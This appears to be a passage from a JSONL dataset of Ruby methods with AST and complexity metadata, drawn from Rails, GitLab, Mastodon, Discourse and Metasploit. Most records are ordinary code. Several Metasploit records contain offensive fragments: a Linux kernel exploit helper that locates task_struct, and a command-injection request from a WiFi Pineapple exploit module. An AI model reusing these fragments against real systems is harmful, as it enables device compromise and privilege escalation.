end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"deliver_api_inbox_webhooks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]},{\"type\":\"arg\",\"children\":[\"inbox\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inbox\"]},\"channel_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"Channel::Api\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inbox\"]},\"channel\"]},\"webhook_url\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebhookJob\"]},\"perform_later\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inbox\"]},\"channel\"]},\"webhook_url\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"sym\",\"children\":[\"api_inbox_webhook\"]}]}]}]}","id":"076b14fa-526a-4127-ba72-3ee5fdc67b62"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/local/linux_kernel.rb","start_line":7,"raw_source":"def current_task_struct_h(metasm_exe)\n metasm_exe.parse <<-EOS\n current_stack_pointer:\n mov eax, esp\n ret\n EOS\n\n # Taken from sock_sendpage.c\n cparser.parse <<-EOC\n#define TASK_RUNNING 0\n\nint current_stack_pointer(void);\n\nstatic inline unsigned long\ncurrent_task_struct(void)\n{\n unsigned long task_struct, thread_info;\n\n thread_info = current_stack_pointer() & ~(4096 - 1);\n\n if (*(unsigned long *)thread_info >= 0xc0000000) {\n task_struct = *(unsigned long *)thread_info;\n\n /*\n * The TASK_RUNNING is the only possible state for a process executing\n * in user-space.\n */\n if (*(unsigned long *)task_struct == TASK_RUNNING)\n return task_struct;\n }\n\n /*\n * Prior to the 2.6 kernel series, the task_struct was stored at the end\n * of the kernel stack.\n */\n task_struct = current_stack_pointer() & ~(8192 - 1);\n\n if (*(unsigned long *)task_struct == TASK_RUNNING)\n return task_struct;\n\n thread_info = task_struct;\n\n task_struct = *(unsigned long *)thread_info;\n\n if (*(unsigned long *)task_struct == TASK_RUNNING)\n return task_struct;\n\n return -1;\n}\n\nEOC\n\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_task_struct_h\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metasm_exe\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metasm_exe\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" current_stack_pointer:\\n\"]},{\"type\":\"str\",\"children\":[\" mov eax, esp\\n\"]},{\"type\":\"str\",\"children\":[\" ret\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cparser\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#define TASK_RUNNING 0\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"int current_stack_pointer(void);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"static inline unsigned long\\n\"]},{\"type\":\"str\",\"children\":[\"current_task_struct(void)\\n\"]},{\"type\":\"str\",\"children\":[\"{\\n\"]},{\"type\":\"str\",\"children\":[\" unsigned long task_struct, thread_info;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" thread_info = current_stack_pointer() & ~(4096 - 1);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" if (*(unsigned long *)thread_info >= 0xc0000000) {\\n\"]},{\"type\":\"str\",\"children\":[\" task_struct = *(unsigned long *)thread_info;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" /*\\n\"]},{\"type\":\"str\",\"children\":[\" * The TASK_RUNNING is the only possible state for a process executing\\n\"]},{\"type\":\"str\",\"children\":[\" * in user-space.\\n\"]},{\"type\":\"str\",\"children\":[\" */\\n\"]},{\"type\":\"str\",\"children\":[\" if (*(unsigned long *)task_struct == TASK_RUNNING)\\n\"]},{\"type\":\"str\",\"children\":[\" return task_struct;\\n\"]},{\"type\":\"str\",\"children\":[\" }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" /*\\n\"]},{\"type\":\"str\",\"children\":[\" * Prior to the 2.6 kernel series, the task_struct was stored at the end\\n\"]},{\"type\":\"str\",\"children\":[\" * of the kernel stack.\\n\"]},{\"type\":\"str\",\"children\":[\" */\\n\"]},{\"type\":\"str\",\"children\":[\" task_struct = current_stack_pointer() & ~(8192 - 1);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" if (*(unsigned long *)task_struct == TASK_RUNNING)\\n\"]},{\"type\":\"str\",\"children\":[\" return task_struct;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" thread_info = task_struct;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" task_struct = *(unsigned long *)thread_info;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" if (*(unsigned long *)task_struct == TASK_RUNNING)\\n\"]},{\"type\":\"str\",\"children\":[\" return task_struct;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" return -1;\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}","id":"48c06426-35a8-40bd-8736-f4b551aa2850"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/verify/uploads.rb","start_line":30,"raw_source":"def actual_checksum(upload)\n Upload.sha256_hexdigest(upload.absolute_path)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"actual_checksum\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Upload\"]},\"sha256_hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"absolute_path\"]}]}]}","id":"da23370e-5d08-45d5-9589-6ebaf80df534"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/session/cache_store_test.rb","start_line":21,"raw_source":"def get_session_value\n render plain: \"foo: #{session[:foo].inspect}\"\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_session_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"foo: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"foo\"]}]},\"inspect\"]}]}]}]}]}]}]}","id":"785f7a99-276f-4086-8897-773f2bc818f3"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/media_proxy_controller.rb","start_line":56,"raw_source":"def reject_media?\n @media_attachment.account.remote? && DomainBlock.reject_media?(@media_attachment.account.domain)\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"reject_media?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@media_attachment\"]},\"account\"]},\"remote?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DomainBlock\"]},\"reject_media?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@media_attachment\"]},\"account\"]},\"domain\"]}]}]}]}","id":"d731e59c-4cd0-4ac9-b9e3-a823c57e03c5"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/boards/lists/move_service.rb","start_line":24,"raw_source":"def valid_move?\n new_position.present? && new_position != old_position && new_position.between?(0, max_position)\n end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_move?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_position\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_position\"]},\"!=\",{\"type\":\"send\",\"children\":[null,\"old_position\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_position\"]},\"between?\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[null,\"max_position\"]}]}]}]}","id":"8c801094-0e2f-422a-b0bb-9f794e4abfa0"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb","start_line":86,"raw_source":"def cmd_inject(cmd)\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => cmd_uri,\n 'vars_get' => {\n 'execute' => \"\" # Presence triggers command execution\n },\n 'vars_post' => {\n 'commands' => cmd\n }\n )\n res\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_inject\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"cmd_uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"execute\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"commands\"]},{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"47c7369b-aeb4-492e-98b6-91cd5f1a2452"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/milestones/user_views_milestone_spec.rb","start_line":130,"raw_source":"def visit_milestone\n visit(project_milestone_path(project, milestone))\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_milestone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"project_milestone_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"milestone\"]}]}]}]}","id":"e2900fbf-67df-4f44-bb7b-07f2f10d2ca2"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/crawler.rb","start_line":9,"raw_source":"def initialize\n super(\n 'Name' => 'Web Site Crawler',\n 'Description' => 'Crawl a web site and store information about what was found',\n 'Author' => %w(hdm tasos),\n 'License' => MSF_LICENSE\n )\n\n register_advanced_options([\n OptString.new('ExcludePathPatterns', [false, 'Newline-separated list of path patterns to ignore (\\'*\\' is a wildcard)']),\n OptBool.new('HttpTrace', [false, 'Show the raw HTTP requests and responses', false]),\n OptBool.new('HttpTraceHeadersOnly', [false, 'Show HTTP headers only in HttpTrace', false]),\n OptString.new('HttpTraceColors', [false, 'HTTP request and response colors for HttpTrace (unset to disable)', 'red/blu']),\n ])\n @for_each_page_blocks = []\n end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Web Site Crawler\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Crawl a web site and store information about what was found\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]},{\"type\":\"str\",\"children\":[\"tasos\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ExcludePathPatterns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Newline-separated list of path patterns to ignore ('*' is a wildcard)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpTrace\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Show the raw HTTP requests and responses\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpTraceHeadersOnly\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Show HTTP headers only in HttpTrace\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpTraceColors\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"HTTP request and response colors for HttpTrace (unset to disable)\"]},{\"type\":\"str\",\"children\":[\"red/blu\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@for_each_page_blocks\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"f80b7abd-44fc-4274-b6eb-15ee8473c50b"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/integration/watched_words_spec.rb","start_line":24,"raw_source":"def should_block_post(manager)\n expect {\n result = manager.perform\n expect(result).to_not be_success\n expect(result.errors[:base]&.first).to eq(\n I18n.t(\"contains_blocked_word\", word: block_word.word),\n )\n }.to_not change { Post.count }\n end","complexity_score":31.3,"ast_json":"{\"type\":\"def\",\"children\":[\"should_block_post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"manager\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manager\"]},\"perform\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},\"to_not\",{\"type\":\"send\",\"children\":[null,\"be_success\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"base\"]}]},\"first\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"contains_blocked_word\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"word\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_word\"]},\"word\"]}]}]}]}]}]}]}]},\"to_not\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"count\"]}]}]}]}","id":"cebd84ae-c9d0-41ef-91d8-6775b48e5ce5"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/hash_ext_test.rb","start_line":14,"raw_source":"def setup\n @strings = { \"a\" => 1, \"b\" => 2 }\n @nested_strings = { \"a\" => { \"b\" => { \"c\" => 3 } } }\n @symbols = { a: 1, b: 2 }\n @nested_symbols = { a: { b: { c: 3 } } }\n @mixed = { :a => 1, \"b\" => 2 }\n @nested_mixed = { \"a\" => { b: { \"c\" => 3 } } }\n @integers = { 0 => 1, 1 => 2 }\n @nested_integers = { 0 => { 1 => { 2 => 3 } } }\n @illegal_symbols = { [] => 3 }\n @nested_illegal_symbols = { [] => { [] => 3 } }\n @upcase_strings = { \"A\" => 1, \"B\" => 2 }\n @nested_upcase_strings = { \"A\" => { \"B\" => { \"C\" => 3 } } }\n @string_array_of_hashes = { \"a\" => [ { \"b\" => 2 }, { \"c\" => 3 }, 4 ] }\n @symbol_array_of_hashes = { a: [ { b: 2 }, { c: 3 }, 4 ] }\n @mixed_array_of_hashes = { a: [ { b: 2 }, { \"c\" => 3 }, 4 ] }\n @upcase_array_of_hashes = { \"A\" => [ { \"B\" => 2 }, { \"C\" => 3 }, 4 ] }\n end","complexity_score":24.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@strings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@nested_strings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"c\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@symbols\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@nested_symbols\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@mixed\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@nested_mixed\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"c\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@integers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@nested_integers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@illegal_symbols\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[]},{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@nested_illegal_symbols\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@upcase_strings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"A\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"B\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@nested_upcase_strings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"A\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"B\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"C\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@string_array_of_hashes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"c\"]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@symbol_array_of_hashes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c\"]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@mixed_array_of_hashes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"c\"]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@upcase_array_of_hashes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"A\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"B\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"C\"]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"int\",\"children\":[4]}]}]}]}]}]}]}","id":"fc32b966-12c4-4219-adc3-6153fe3fdb1d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/lfs_request.rb","start_line":40,"raw_source":"def lfs_check_access!\n return render_lfs_not_found unless container&.lfs_enabled?\n return if download_request? && lfs_download_access?\n return if upload_request? && lfs_upload_access?\n\n # Only return a 403 response if the user has download access permission,\n # otherwise return a 404 to avoid exposing the existence of the container.\n if lfs_download_access?\n lfs_forbidden!\n else\n render_lfs_not_found\n end\n end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"lfs_check_access!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"lfs_enabled?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_lfs_not_found\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"download_request?\"]},{\"type\":\"send\",\"children\":[null,\"lfs_download_access?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"upload_request?\"]},{\"type\":\"send\",\"children\":[null,\"lfs_upload_access?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lfs_download_access?\"]},{\"type\":\"send\",\"children\":[null,\"lfs_forbidden!\"]},{\"type\":\"send\",\"children\":[null,\"render_lfs_not_found\"]}]}]}]}","id":"e142298b-e547-4129-a27f-35a171d36bc5"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/github_issue_onebox.rb","start_line":21,"raw_source":"def url\n m = match\n \"https://api.github.com/repos/#{m[\"org\"]}/#{m[\"repo\"]}/issues/#{m[\"item_id\"]}\"\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[null,\"match\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://api.github.com/repos/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"str\",\"children\":[\"org\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"str\",\"children\":[\"repo\"]}]}]},{\"type\":\"str\",\"children\":[\"/issues/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"str\",\"children\":[\"item_id\"]}]}]}]}]}]}","id":"03ca6186-caab-47fd-8915-f6e14172bb70"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/discussion_on_diff.rb","start_line":32,"raw_source":"def file_new_path\n first_note.position.new_path\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"file_new_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_note\"]},\"position\"]},\"new_path\"]}]}","id":"ccb169e0-c4b0-45d5-80af-43c8b4b646a7"} 